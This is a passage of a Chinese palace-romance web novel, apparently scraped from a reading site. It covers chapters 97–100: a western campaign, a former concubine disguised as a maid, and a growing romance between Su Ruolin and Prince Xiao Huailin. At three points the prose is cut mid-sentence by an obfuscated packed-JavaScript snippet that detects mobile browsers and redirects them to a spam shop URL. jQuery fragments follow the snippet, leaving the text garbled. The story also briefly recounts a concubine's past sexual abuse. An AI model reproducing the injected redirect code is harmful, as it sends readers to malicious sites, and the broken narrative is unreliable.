那黄裙姑娘定睛一看,只见一辆宽大的马车两侧各策马行着一个年轻俊俏的少年郎。 左边那个剑眉星目,俊朗非凡;右边那个不仅俊俏,甚至好看得竟有几分像姑娘,一双杏目淡淡地看着前方,更添了几分清冷气质。 “那两位啊。”另一个红衣姑娘接话道,“这两位都出自安定侯杨家,左边那位就是安定侯本人,官任职方司郎中,据说京城守战中以一敌十,还立下了不少战功,待到西伐凯旋,说不定还要加官进爵呢!” “不过嘛......”红衣姑娘说着笑了笑,“据说安定侯已经和北辰侯府二小姐订过亲了,只等着西伐凯旋归来后便去提亲呢。” “啊?这样啊。”一众姑娘纷纷叹息,大好的如意郎君,还没看过眼就没了。 “那......”粉衣姑娘抬起头问道,“那左边那个呢?” “那个看起来年纪好像不是很大的样子诶......”黄衣姑娘道,“但看脸似乎还很稚嫩,可是看气质又好像蛮沉稳成熟的样子呢。” 粉衣姑娘捂着嘴笑道:“长得也太好看了,比咱们在座的姐妹们还要好看上几分呢!” “那位便是安定侯的亲弟弟,现任司封司员外郎。”红衣姑娘兴致勃勃道,“就是十三岁连中六元的那个!” “哇!就是那位杨公子!” “对啊对啊!”红衣姑娘使劲点头,“据说先帝在时,杨公子便备受宠爱,此次西伐王爷居然也点了他,可见也是十分青睐他的!” “那杨公子......”粉衣姑娘害羞道,“杨公子如今才十四岁,想必还没有定亲吧?” “自然是没有的!”一个身着紫衣的姑娘提着花篮走了进来,众人扭过头一看,只见她手中那精致的竹木花篮里盛满了鲜艳娇嫩的桃花花瓣。 有些花瓣上还沾着水珠,如今正是午时,不可能会有露珠这种东西,想来是给花瓣喷上的水,以保持其鲜活。 “你这是要做什么呀?”粉衣姑娘调笑道,“莫不是要天女散花为英雄送行?” “你猜对咯!”紫衣姑娘咯咯笑着,“我心仪杨公子已久,今日他出征我连夜派下人准备了十几篮桃花花瓣,一定要让他记住我!” “好啊你,杨公子比你还小两岁呢,小心被人说老牛吃嫩草哦!”红衣姑娘也笑着道。 “大两岁怎么了,没准杨公子就是喜欢大一些的呢!”紫衣姑娘说着已经踱步来到阳台前,看准了心上之人即将经过,抓起一把花瓣便往下撒去。 纷纷扬扬的花瓣自空中飘落下来,刚好落到杨纨枫的身上,他不禁抬起头看向花瓣的来处,一个身着紫裙的妙龄少女正羞红着脸颊,含情脉脉地望着他。 身后的韩龙见状策马来到他身边,竖起大拇指夸赞道:“小小年纪就已经博得佳人芳心暗许,你小子有前途啊!” 杨纨枫神色淡然地看着前方,理都没理他。 马车内的苏若琳闻言也拉开车窗的木板,含笑道:“我们的纨枫长大了,也引得小姑娘喜欢咯。” 杨纨枫的脸上这才浮现出一丝红晕,不自然地轻咳了几声。 看着乖儿子害羞的模样,苏若琳捉弄心顿起,继续道:“若是纨枫遇到了哪家心仪的姑娘,可一定要跟母亲说,母亲好早些去提亲呀。” “没,没......”杨纨枫抬眼无奈地看着母亲,那又长又密的睫毛下,一双好看的杏目里竟平添了几分羞涩,“您就别开我玩笑了。” 苏若琳不禁笑出了声。 行军的路途并没有她想象得那么艰苦,马车跟随着队伍自西城门驶出京城,到了郊外以后逐渐开始起了颠簸,但好在马车内铺着柔软的毡毯,苏若琳自己还带了两个枕头用来倚靠。 身下压着舒适的毡毯,身后还倚靠着软和的枕头,马车晃晃悠悠得像是摇椅一般,她非但没觉得劳累,反而舒服得平添了几分困意。 就这么摇着晃着,不知不觉间她竟真的睡着了,又不知道过了多久,迷迷糊糊地仿佛听到了一阵敲门声。 苏若琳缓缓睁开眼,便听得马车外响起了一道熟悉的声音:“苏小姐您还好吗?” “青芙?”苏若琳颇有些意外,萧怀琳出征西伐竟还带着丫鬟? 不过一想到青芙那副一看就是练家子的身板,就又觉得合情合理了。 想来这姑娘是上得了厅堂可打仗,下得了厨房可掌院的。 “是奴婢。”马车外的青芙回应道,“方才敲车窗迟迟听不到您的回复,奴婢还担心您出了什么事。” “我没事。”苏若琳说着缓缓坐起身,因着刚睡醒的缘故,声音尚有些沙哑,“我方才睡着了,如今才刚醒。” 末了又问道:“是有什么事吗?有事就进来吧。” 马车的门帘随即被掀开,一身劲装的青芙走了进来,身后还跟着一个身着蓝裙的丫鬟。 青芙向苏若琳作揖行了一礼,随后介绍道:“这是王爷派来伺候您的丫鬟,名荷莲,西征此番路途遥远,由她来照顾您的起居。” 彼时苏若琳刚睡醒的脑子尚不太清醒,听此不禁在心里抱怨了一句,早说出征能带丫鬟啊,那她就把红烛和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533439|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿俏带上了。 只是待她清醒了几分,定睛一看那丫鬟的面容,不由得一惊:“陈姨娘?!” 乖乖,陈姨娘居然被贬成丫鬟了?! 见到自己的落魄模样被认了出来,陈姨娘的神色里却并无半分不忿,只见她福了福身,规规矩矩地朝苏若琳行了一礼:“奴婢见过苏小姐。” 而与之对应的,青芙的脸色却是不大好看:“她现在只是一个丫鬟,苏小姐您此行可以尽管使唤她,不必有任何顾虑。” “啊......”苏若琳脑袋混沌地愣了片刻,半晌才点了点头,“嗯,行。” 随后青芙又补充了一句“若还有什么需要您随时吩咐奴婢”,便转身离开了马车,留下苏若琳和陈姨娘大眼瞪小眼。 气氛顿时变得有些尴尬,过了片刻,苏若琳叹了口气,率先打破沉默:“你这是犯错被贬成丫鬟了?” 应该不是因为她先前跟青芙提的那一嘴......吧? 不然就因为自己一句话这孩子就从好好的姨娘变成了丫鬟,还被迫跟着队伍一起出征,那自己还真的有点过意不去。 而陈姨娘却是歪头一笑:“苏小姐好计谋,竟能和青芙告发我的身份,不过没关系,苏小姐有苏小姐的招式,我也有我的罢了。” “所以你跟着队伍来不是因为我?”苏若琳抬眸看着她。 “这苏小姐就未免太看得起自己了。”陈姨娘眉头一扬,“既然苏小姐如此直白,那我也就不饶弯子了,此次西行,谁更能讨得王爷的欢心咱们各凭本事。” 苏若琳:......哦,这是拿她当假想敌了啊。 但是很可惜,姑娘你的敌人不是我,是你家王爷那位爱而不得的白月光。 “难不成你跟随军队西行是自己自愿来的?”苏若琳神色复杂地看着她。 还是,呃,自愿来当丫鬟。 且不说行军有多劳累,姨娘好歹也算是半个主子,是有些话语权的,可是变成了丫鬟那就是真得任打任骂了。 这姑娘为了博得萧怀琳那小子的宠爱可真是拼了。 然而陈姨娘显然非但没有觉得自己受了委屈,甚至还认为这是一件值得炫耀的资本,只见她挺起胸膛,骄傲道道:“方才我已经说过了,苏小姐有苏小姐的办法,我也有我自己的办法。” “哦。” 苏若琳打了个哈欠,还“我自己的办法”呢,最开始这小丫头不是还心高气傲地喊她“夫人”么,现在不还是得老老实实地喊“小姐”。 唉,又傻又蠢的。 “正好我渴了,你先给我沏盏茶。” 陈姨娘原本还期待着自己的一番话能叫对方错愕或者气恼,结果却见对方一点慌乱或者生气的迹象都没有表现出来,反倒还气定神闲地指挥起她来了,不禁诧异地怔愣在原地。 只是这一愣,却是叫苏若琳多看了她一眼:“怎么,你连泡茶都不会?” 陈姨娘闻言这才回过神,抬起头来看向苏若琳的脸,只见那张国色天香的清冷面容上,一双秀丽的眼眸里却是写满了冷漠与威严,仿佛自己在对方的面前真的只是一个卑贱的奴婢。 这冰冷的一眼将她吓了一跳,她心有余悸地咬了咬下唇:“会。” 98. 暧昧 这一眼竟是将陈姨娘完全震慑住了,震慑到她战战兢兢地泡好了茶,给苏若琳斟好了递上去,大气都不敢出。 直到对方一只纤纤玉手接过茶杯,手指触碰到她的肌肤,她才堪堪回过神来。 这个老女人不是商户女吗,为什么气势竟然如此强盛! 强盛到,强盛到......陈姨娘打了一个寒颤,让她想起了老王爷。 曾经她每次见到老王爷的时候,都会被这么一双孤高又威严的眼睛漠然注视着,如同注视某个物件,某样稍有不喜便将摔碎以泄愤的精美瓷器。 许是陈姨娘被吓到的模样太过可怜,活脱脱得像是一只受了惊的小白兔,先前摆弄技俩时的狡猾模样竟消失得无影无踪,苏若琳不禁有些惊奇。 这小丫头胆子不是挺大的么,都敢跟着来出征了,怎么自己如今只是说了两句话就给她吓成了这样? 苏若琳吹了吹手里的热茶,开口想要安抚一下这只小白兔:“听青芙说,你叫荷莲?” 陈姨娘闻言竟是愣了愣,才回答道:“嗯......苏小姐可以叫我,荷莲......” 荷莲并不是她的名字,而是原本被指派来伺候苏若琳的,是她临出发时趁荷莲不被打晕了对方,所以才浑水摸鱼跟进了出征的队伍。 说罢,陈姨娘不由得揉了揉到现在还有些发酸的手腕,那荷莲也是个练家子的,把她打晕还真的费了些力气。 只是她这一含糊其辞,却是叫苏若琳敏锐地捕捉到了。 只见苏若琳眯起眼一双清冷的双眸,盯着面前卑躬屈膝的“丫鬟”,一字一顿道:“怎么,莫非你不叫荷莲?” 那么青芙为什么说她是荷莲? 苏若琳话音未落,马车外忽地再次响起了一道熟悉的声音:“若琳。” 陈姨娘蓦地瞪大眼睛,是王爷的声音! 王爷、王爷何时和这个老女人关系竟如此亲密了,连名字都叫得这般暧昧?! 而苏若琳乍一听到这暧昧黏糊的称呼,那副清冷姣好的面容眼皮直跳:“有什么事吗?” “有事。”萧怀琳的声音自马车外响起,“我能进来么?” ......行吧,正好,你有事我也有。 “进来吧。” 话音刚落,马车的门帘便被一只骨节分明、煞是好看的手掀了开,一个身着银恺、脸上带着凶恶的穷奇面具,长相却异常俊美的人探进头来,含笑望向正依靠着车壁的那个俏丽身影。 末了,才注意到这车内竟还有一个人。 萧怀琳眯起眼,淡漠的目光将这个丫鬟模样的人上下打量了一遍:“这是谁?” 苏若琳歪着头,露出了一个耐人寻味的笑容:“这不是你指派来伺候我的丫鬟么,叫做荷莲?” “哦?”萧怀琳挑眉,将手探向腰间的佩剑,只一瞬间,一把锋芒逼人的利剑已然出鞘,直指陈姨娘纤细的脖颈。 利剑出鞘的速度之快,快到苏若琳只觉得眼前寒光一闪,她还没看到过程,那剑尖就已经抵在了陈姨娘的喉间。 萧怀琳的声音不带一丝温度:“你是什么人?” 而陈姨娘显然也被萧怀琳这一动作吓坏了,脖颈上的肌肤似乎都能感受到利剑冰冷的触感,仿佛再往前半分她便命丧黄泉。 她吓得连动都不敢动,哆哆嗦嗦道:“妾,妾身是老王爷的姨娘,姓陈,求王爷饶命!” 萧怀琳冷笑一声,剑尖更向前抵了几分,霎时陈姨娘那细嫩的脖颈上便被刺开了一道口子,丝丝猩红的鲜血顺着雪白的肌肤滴了下来,十分醒目。 “老王爷的姬妾是怎么混进出征队伍里来的,荷莲呢?” 陈姨娘只觉得脖颈间一阵刺痛,她抬头望向萧怀琳那双冰冷而饱含杀意的眼眸,再不敢有一丝迟疑,全身颤抖着把一切托盘而出。 听完事情原委,苏若琳暗叹这姑娘还真是好大胆子,居然整这么一出偷天换日。 只是这方法也确实算不得聪明,无他,这也太容易被发现了,而且一旦被发现,就好比现在,萧怀琳的手再往前一寸,这小丫头就别想活了。 而萧怀琳则再次眯起眼将面前的陈姨娘细细打量了一番,见她身子骨柔弱,不像是习武之人,眼中流露出的恐惧,全身颤抖的姿态都不像是假的,这才将佩剑收回鞘中。 随后他掀开车帘,朝外边吩咐了一声:“把青芙叫过来。” 很快青芙就进来了,一见此情此景还有什么不知道的? 她当即跪下来磕头道:“奴婢有罪,请王爷责罚。” 萧怀琳没有看她,语气中却俨然有了一丝愠怒:“你该知道我派荷莲来伺候若琳是为的什么,你觉得这么一个身娇体弱的废物能保护得了她?” 明明是一句极其霸气的话语,可是听到那一声黏糊的“若琳”,苏若琳的嘴角还是止不住地抽搐。 “奴婢知晓,只是待奴婢察觉到此事时,队伍已经出了京城,再换回荷莲也来不及了。”青芙说着又磕了一个头,“此事是奴婢失职,还望王爷息怒。” “你知道规矩,等回到京城以后自己去领罚。”萧怀琳的充满寒意,“现在,带着这个陈姨娘滚出去。” 青芙领命拉起瑟缩在一旁颤抖不止的陈姨娘,离开了马车。 等到马车的门帘再度落下,萧怀琳这才叹了口气,看向苏若琳的目光中多了几分愧疚:“我会让青芙多关照你的安全,你放心,有我在没人能伤得了你。” 这点苏若琳倒是深信不疑的,不过令她有些惊讶的是,对方居然对她这么上心,上心到还专门派会武的丫鬟来贴身伺候保护她。 想到此,她的心头一暖,亲自倒了一杯茶递给萧怀琳:“消消气。” 萧怀琳接过心上人亲手递过来的茶,抿了一口,原本紧绷的身躯缓缓放松下来。 苏若琳看着他:“你方才进来说有事,是有什么事?” 萧怀琳眨了眨眼,忽地看向手中的茶,悠悠道:“渴了,需要到你这来喝杯茶。” “......”苏若琳嘴角抽了抽,“现在你喝完了,可以出去了。” “现在有点累了。”萧怀琳从善如流道,“需要休息一会。” 苏若琳白了他一眼。 萧怀琳却是低声笑了:“怎么,讨厌我了?” 苏若琳自顾自拉开木板窗,抬头望向窗外,不理他。 行军的队伍正途径一片郊野,如今初夏时节,暖意十足的阳光撒落到草地上,偶有微风袭来,那满地的野草随风而动,慵懒而又惬意。 如果不是四周将士们皆身披铠甲,神情肃穆,她还以为自己是出来踏青的。 正晃神间,耳边传来一道温柔的呼唤:“若琳。” 苏若琳浑身起了一层鸡皮疙瘩,无奈地扭头看向萧怀琳:“你能别这么叫我吗?” 萧怀琳单手撑着侧脸,那泛着冷光的穷奇面具下,一双秀丽的凤目闪烁着动人的光芒:“可是你都唤我怀琳了,若是我都不能喊你的名字,岂不是吃了大亏?” “......”苏若琳斜眼看着他,“我也可以不喊你的名字。” “这不好吧。”萧怀琳幽幽地叹了口气,“我们昨日明明都已经约过会了,就连霓裳阁的老板娘都觉得你我郎情妾意、好不般配,然而今日再见若琳却如此冷漠,倒叫我好生伤心。” 这怨妇般的话语引得苏若琳全身一阵恶寒,她难以置信地看着这位在战场上以一敌百的杀神:“这话你从哪个话本子学的?” 为什么堂堂宁安王会看这种东西?! 萧怀琳轻笑:“哪里学来的不重要,重要的是管用就行。” 这确实真管用啊,苏若琳保证她宁愿听对方腻歪地喊自己“若琳”,也绝对不想再听到对方说出与他形象大相径庭的怨妇式发言了。 “咳咳......那你至少当着外人的时候注意点。” 闻言,萧怀琳不禁眉头轻扬,站起身来越过面前的桌子,凑近自己的心上人。 苏若琳见面前人忽然站起身,一张无暇的俊脸就这样越凑越近,对方身上那熟悉又淡雅的熏香萦绕在鼻尖,惹得她心跳加速。 “你你干什么?” 只见对方附到她的耳边,呼出一丝湿润而又暧昧的热气,嗓音沙哑,却又带着一丝难以抑制的欣喜:“所以,私下里可以这么喊你咯?” 说罢,对方似是察觉到了她全身紧绷,恶作剧一般地朝着她的耳廓轻轻吹了一口气,登时她的耳朵传来一阵痒意,一片红晕自白皙的脸颊蔓延到了耳根。 苏若琳只觉得自己被突厥追杀时都没有这么无助过,一股暧昧的气息顺着对方的鼻息喷在她的脖颈上,她用力想把对方推开,然而对方可是浴血沙场千锤百炼的战神,哪里是这么轻易就能被她推开的? 并且因着她这么一反抗,对方反倒伸出一只手抵在她身后的车壁上,将她完全禁锢在自己创造的囚笼里。 苏若琳别过头不去面对他,咬着下唇道:“你......你先起来。” 然而对方显然没打算这么放过她,更甚至,对方又伸出了另一只手握住她抵在自己胸口的纤纤玉手,粗糙的茧子和伤疤轻轻摩擦着她细嫩的肌肤:“你害羞了。” “你!”苏若琳恼羞成怒,她先前还以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的婉枝,曾经也是如此的...... 一想到面前人竟有着和她的婉枝同样的遭遇,苏若琳望向面前的目光不禁有些心疼:“那你......从前过的如何?” 萧怀琳望着她关切的目光,一颗心不住地颤动,无数的话语哽在喉间,却不知如何吐露。 最后他低声道:“很好。” 有你的日子,虽只有三个月,却足以支撑我走过踽踽独行的三年。 听到这发自内心的话语,苏若琳悬着的心缓缓落下。 “那真是再好不过了。” 萧怀琳失笑。 “不过你的手背明明保养得这么好,可是手掌......”苏若琳说着让萧怀琳松开一只手,随后把那只手翻过来,手心朝上。 布满整个手掌的厚茧和无数的伤疤交缠在一起,显得狰狞恐怖,她根本就无法想象这双手曾经都经历过些什么。 “手掌怎么会......” 双手已然如此,那他身上的伤疤又该有多少? 苏若琳的心再次抽搐起来。 萧怀琳看着面前人微红的双眼,心里已然柔软得一塌糊涂。 “没事的。”他伸出那只手轻抚过对方的头顶,柔声道,“都过去了。” 可他越是这么说,苏若琳的心里就越是难受。 她张了张口,还想再说些什么,这时外边传到一道声音:“启禀王爷。” 闻言,萧怀琳原本温柔得都可以腻出水来的双眸登时变得淡漠,再开口时,语气冷得好似刚从冰窖里走出来一般:“何事。” “禀王爷,军队约莫傍晚时分到达梨洲城外,韩将军派属下来询问要在城外几里安营扎寨。” 此时的马车外边,来通传的士兵能明显感到面前的马车里逐渐渗出来一股寒意,他默默地擦掉额头的冷汗。 他就说这事为什么韩将军自己不来,还要费劲派别人带话呢,果然是没好事! 马车内的萧怀琳叹了口气。 苏若琳看准时机连忙把自己的手抽出来,欢快地冲他摆了摆手:“正事要紧,你快去快去。” 萧怀琳无奈地看着心上人:“你就这么高兴我走?” 苏若琳使劲点头。 笑话,这厮要是再不走,她真担心自己待会就被他吃抹干净了。 “好好好。”萧怀琳认命般地转身离开,“若有什么意外随时喊我。” 谁让他就偏偏就喜欢人家呢。 99. 思念 行军队伍最终在梨洲城二十里外扎营,隔着一片茫茫草原和梨洲城遥遥相望。 如今正是日暮时分,天色逐渐暗了下来,萧怀琳下令禁止燃起篝火,以便半夜发动突袭。 直至夜空高悬,军营四周静悄悄的,没有人大声吆喝,至多不过窃窃私语,任凭半点风吹草动似乎都能被清晰地听见。 苏若琳缓缓走下马车,双脚触及柔软的草地。 夏夜的微风吹拂过她柔软乌黑的发丝,吹得鬓间步摇微晃,珍珠宝石间清脆悦耳的撞击声响在耳畔。 忽得一阵风掀起她的裙摆,带来了一丝凉意,远处似乎传来了蛙声和蝉鸣,隐隐约约,若隐若现。 苏若琳抬起头望向当空皓月和璀璨繁星,此情此景,竟令她想起了去年此时,她行走在侯府的后花园,望着天边轮月,想起了那个孩子。 若是身边能有一床琴就好了。 末了不禁笑着摇头,打消这荒谬的想法。 身后传来一道熟悉的呼唤:“若琳。” 苏若琳闻言回过头,只见萧怀琳缓缓向她走来,墨蓝色的衣袍随着微风晃动,和煦的嗓音被刻意压低,却又多了几分磁性的魅力:“在做什么呢?” 苏若琳没有回答,却忽得问道:“你说,若是一个人在某日突然失踪了,随后整整四年杳无音讯,那她真的还活在这个世上吗?” 萧怀琳怔愣在原地。 却见对方目不转睛地望着他,那副国色天香的盛世容颜被柔和的月光包裹着,唯有一双秀丽的眼眸闪闪发亮。 竟还带着几分哀求。 萧怀琳的喉结动了动,历经四年的蜕变,他几乎摆脱了和从前相似的任何地方,唯有那张一模一样的脸隐藏在面具之下,也并未显露。 “只要你相信,她就还活着。”萧怀琳的声音有些喑哑,“你相信吗?” 苏若琳沉默了。 她真的还能怀抱这一丝渺茫的希望吗? 大楚历经战乱,连京城都动荡了一番,那高坐在龙椅之上睥睨天下的身影仅仅四年便又换了一个,就连皇帝都能悄无声息地身陨,她该如何相信那孩子还能安然幸存? 萧怀琳见对方迟迟未作答,不禁伸出手去触碰她的肩膀,想要安抚对方,却感受到了对方轻微的颤抖。 他的一颗心也随着对方颤抖了起来。 “她一定还活着。”萧怀琳伸出手臂揽过面前人颤抖的娇躯,将她拥入自己的怀里,“待我登基以后,让整个大楚都帮你找,掘地三尺也要把她找出来,好不好?” 头顶传来的声音带着几分蛊惑的魔力,伴随着耳畔传来的对方沉稳有力的心跳,将她圈入怀中的一双臂弯是如此的有力,而对方的怀抱又是如此的温暖,苏若琳惶恐不安的心就这么被轻轻地安抚着,渐渐恢复镇定。 “那......”苏若琳声音里多了几分鼻音,向来沉稳精明的她此刻竟多了几分单纯和娇憨,“这是你说的,堂堂未来皇帝可不能说话不算话。” 萧怀琳不禁轻笑:“好,一言为定。” 不必等到我登基以后,我一定会向你坦白一切。 就是不知道,你届时......还能否接受我。 皎洁的月光下,俊俏的男子怀抱着自己的意中人,夏夜的微风吹拂过他们的身畔,整个世界再次陷入了宁静。 面前的心上人依偎在他的怀里,柔软的娇躯仿佛将他的一整颗心都融化,鼻尖萦绕着心上人常用的熏香,萧怀琳有些颤抖地伸出手,抚上面前人光滑细腻的脸颊。 萧怀琳的心里涌现出一股冲动,让他想要低下头去,覆上面前人吹弹可破的唇瓣,和面前人唇齿相依。 可是他不能。 他好不容易强压下内心的躁动,便听得怀里的人儿道:“纨玦和纨枫呢?” 萧怀琳的嗓音有些沙哑:“他们白日里和祝老先生商议战术,如今正在休息,预备午夜向梨洲城发动进攻。” “纨玦会上战场吗?”苏若琳抬起头看着他。 “会。”萧怀琳顿了顿,继续道,“和我一起。” “怎么你也一起去?”苏若琳蓦地瞪大眼睛,“你不是统帅吗,哪有统帅轻易上场的?” 萧怀琳轻笑道:“你也说了是‘轻易’,正因为我是统帅,此次西伐至少第一场和最后一场战争都要由我来带头,以鼓舞士气。” “那你......”苏若琳的心莫名地有些抽痛,她伸出手抓着面前胸口的衣角,沉默了良久,才抬起头道,“你一定要保护好自己,平平安安地回来。” 怀里心上人担忧的目光被月光笼罩着,覆上了一层朦胧的涟漪,夜色缱绻,萧怀琳终究是没有彻底按耐下心里的那股冲动,退而求其次地在心上人的额头轻轻落下一吻。 “好。” 不远处忽得传来下属的呼唤:“王爷!” 苏若琳连忙挣脱萧怀琳的怀抱,不自然地轻咳了两声。 感受到怀里柔软的触感忽得消失了,唯有鼻尖残存的芳香和怀中的余温证明了他们方才确实温存过,萧怀琳低声笑了。 这个下属正是白日里被韩龙派遣来打搅王爷好事的那个,如今又再次被韩龙打发来当了大冤种。 他寻到两人面前,偷瞟了一眼站在王爷身侧的俏丽身影,虽然看不大清晰,但是不难想象该有多么的倾国倾城,他默默地再次抹了一把冷汗,心道这已经是第二次了,待会王爷不会要剐了他吧。 然而王爷的语气听起来似乎心情还不错的样子:“怎么了?” 下属登时松了一口气,抱拳行礼道:“禀王爷,如今时辰已近亥时,韩将军派属下来请您回帐披甲,稍后集合将士们预备。” “嗯,我知道了。”萧怀琳淡淡地应了声。 待下属告退后,萧怀琳伸出手揉了揉苏若琳的发顶,温声道:“那我先去了?” “你等等!”苏若琳连忙叫住他。 “嗯?”萧怀琳挑眉。 苏若琳不自然地轻咳了两声,走上前把他胸前被自己抓皱的衣料抚平,目光中带着一丝不舍:“一定要平安回来。” 萧怀琳伸出手抚上她的脸颊,粗糙的指腹轻轻摩擦着她细嫩的脸蛋,眉目含笑道:“怎么,现在不急着赶我走了?” 苏若琳当即打掉他的手,秀眉一挑,瞪了他一眼:“那你赶紧滚。” 滚得越远越好! 萧怀琳开怀地笑了,温润好听的嗓音配着爽朗的笑声,洋溢在被月光洒落的草原,也拨动了苏若琳的心弦。 如果,只是如果......他若是没有白月光就好了。 末了苏若琳不禁摇了摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556322|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,露出一个苦涩的笑容,人家可是堂堂宁安王,未来的大楚皇帝,若不是因为自己像他的白月光,他又如何能瞧得上自己呢? ...... 萧军集结得很快,快得无声无息。 这是苏若琳第一次见识到真正的军队,训练有素的将士们列成方阵,没有响亮的口号,没有击鼓呐喊,她站在原地,远远地看到属于那个人的身影巡视过军队前方。 银色的铠甲映着月色的光辉不甚真切,可那副独一无二的面容仍旧让她一眼就能辨认出来。 纨玦和他的副将一左一右跟随在他的身后,末了,他举起了腰间的佩剑,发出了一道不知名的命令。 更深露重,野外的风逐渐有了一丝寒意,苏若琳摸了摸微凉的手臂,忽得肩膀一沉,一个斗篷已然盖在了她的肩膀上,替她抵去了寒风。 苏若琳扭过头,杨纨枫不知何时悄然来到了她的身旁,昔日瘦小的身影如今已经和她一般高了,少年郎关切地看着她:“要拿下梨洲城至少要等到天明以后了,母亲先回马车里休息吧。” 心头驀地一暖,苏若琳不禁道:“我听说你白日里一直在商议战术,赶路本就劳累,你怎么还不去休息?” 末了又问道:“老爷子呢?” “曾祖已经歇下了。”杨纨枫回道,“我先送您进马车里休息,再回自己的军帐。” 苏若琳含笑道:“好。” 马车里是暖和的,令苏若琳惊讶的是,陈姨娘不过是明面上的丫鬟,她以为对方即便是懂得如何伺候人,也定然不会甘心伺候自己的假想敌。 然而纨枫送她回到马车里以后,陈姨娘竟然已经拉好了塌板,铺上了被褥,还温好了奶茶,老老实实地坐在椅子上等着她。 见到苏若琳回来,陈姨娘抬起眼皮看了一眼,继而便看到了苏若琳身旁的杨纨枫,以及杨纨枫那宛若深渊一般深不可测的目光。 陈姨娘顿时打了一个机灵,忙不迭站起身:“苏小姐回来了。” 该死的,为什么这个老女人净能勾引一些年少的优秀儿郎保护她。 杨纨枫一双秀美的杏目淡淡地打量了陈姨娘一眼:“这是谁?” “这是王爷派来伺候我的丫鬟。”苏若琳说着解开斗篷给杨纨枫披上,“我已经回马车了,你也早些去休息吧。” 温暖的斗篷盖在了杨纨枫的身上,还残存着独属于母亲的体温和香味,杨纨枫脸颊微微红了起来:“......好,母亲早点休息。” 陈姨娘惊奇地看着杨纨枫,这位高深莫测的贵公子居然是老女人的儿子? 可是老女人看着也没有那么老吧......怎么就有这么大的儿子了? 陈姨娘在边上暗暗惊讶,只是苏若琳懒得去猜测她的心思,马车里柔和的烛光混着奶茶的香气,几乎就在杨纨枫离开的同时,她不禁打了一个哈欠。 一杯温热的奶茶下肚,苏若琳便草草躺到榻上睡去,再度醒来时,竟已经到了晌午。 身下的马车轻微晃动着,却不见丝毫的颠簸,苏若琳喉间有些干渴,她刚要传唤绿俏给她端水,却又想起她已经离开了京城,如今正在行军的队伍中。 末了,她悠悠地叹了口气,缓缓自榻上坐了起来,睁开一双惺忪的睡眼,便见到陈姨娘坐在边上神色复杂地看着她。 100. 受伤 陈姨娘实在是想不通啊,这个老女人怎么能这么懒? 如今这都午时了,这个老女人竟然才睡醒,哪怕她是安定侯府的主母,用不着再给主母请安,难道就没有姨娘每日给她请安吗? 这么好吃懒做如何能伺候好王爷?她连一点为人妻妾的自觉都没有吗?! 更可气的是,军队明明早上就攻下了梨洲城,可是王爷在听闻这个老女人在睡觉以后,竟然吩咐他们原地修整,直到半个时辰以前日头高照,才下令进入城内。 而且王爷还专门来马车里探望她,堂堂威名远震的未来皇帝竟然在这个老女人睡觉时大气都不敢出,还吩咐马车外边原地修整的将士们也不能大声讲话。 这个老女人究竟何德何能! 正失神间,苏若琳开口吩咐道:“给我递杯水来。” 陈姨娘不甘地瞪着她,坐在原处并未起身。 苏若琳冷笑了一声:“你要注意你现在的身份,你只是一个丫鬟,是奴婢,伺候好主子是你的职责。” 昨晚不是还挺老实的么,怎么,现在又觉得自己能行了? 陈姨娘张口想要反唇相讥,然而她抬起头忽得望见了对方那副和老王爷相似的神情,那一双秀丽的眼眸冰冷而又倨傲,令她下意识打了个寒战。 ......她是老王爷最宠爱的妾室,承受着其他姬妾所有没能承受的一切宠幸,包括老王爷的一些特殊癖好。 寻常时,老王爷看着她的神情便是这般冰冷,可每次到了深夜,老王爷让她仰躺在破碎的瓷器片上,看着她的被割破的伤口留下鲜血时,目光却是炙热而又疯狂。 她时常觉得,白日里老王爷看她就像在看那些晚上便会破碎的瓷器,而到了晚上,那些瓷器就是另一个她自己。 而现在,面前这个女人用着同样的目光看着她。 陈姨娘咬了咬下唇,倒了一杯茶水递给苏若琳。 苏若琳觉得这陈姨娘真是有意思,你说她欺软怕硬吧,她偏偏三番五次地往枪口上撞;你要说她傻瞎要强吧,她偏偏吓一下就老实了。 等饮过了杯中茶,苏若琳拉开马车的窗板,赫然见到外面天已大亮,艳阳高照,刺得她有些睁不开眼。 她居然一觉睡到了中午。 待适应了外面光线之后,她探出头,便见到马车正行驶在宽广的青石砖道上,街道两旁偶有行人经过,皆衣衫褴褛,神色麻木。 苏若琳挑眉:“这是已经进城了?” “已经进城小半个时辰了。”陈姨娘偷偷斜了她一眼,“咱们的马车是最后进城的,约莫这个时辰算起来,将士们都已经在城外安好营扎好寨,准备用午膳了。” “那咱们现在这是要去哪?”苏若琳看着窗外景色忽地变换,原是右拐进了一条巷子。 而这巷子左侧的一整列墙上看着竟只有一座府邸的大门,或者说,这一座府邸便占了一整条巷子。 马车在府邸的大门前缓缓停下,随后外边响起了青芙的声音:“苏小姐,我们到了。” 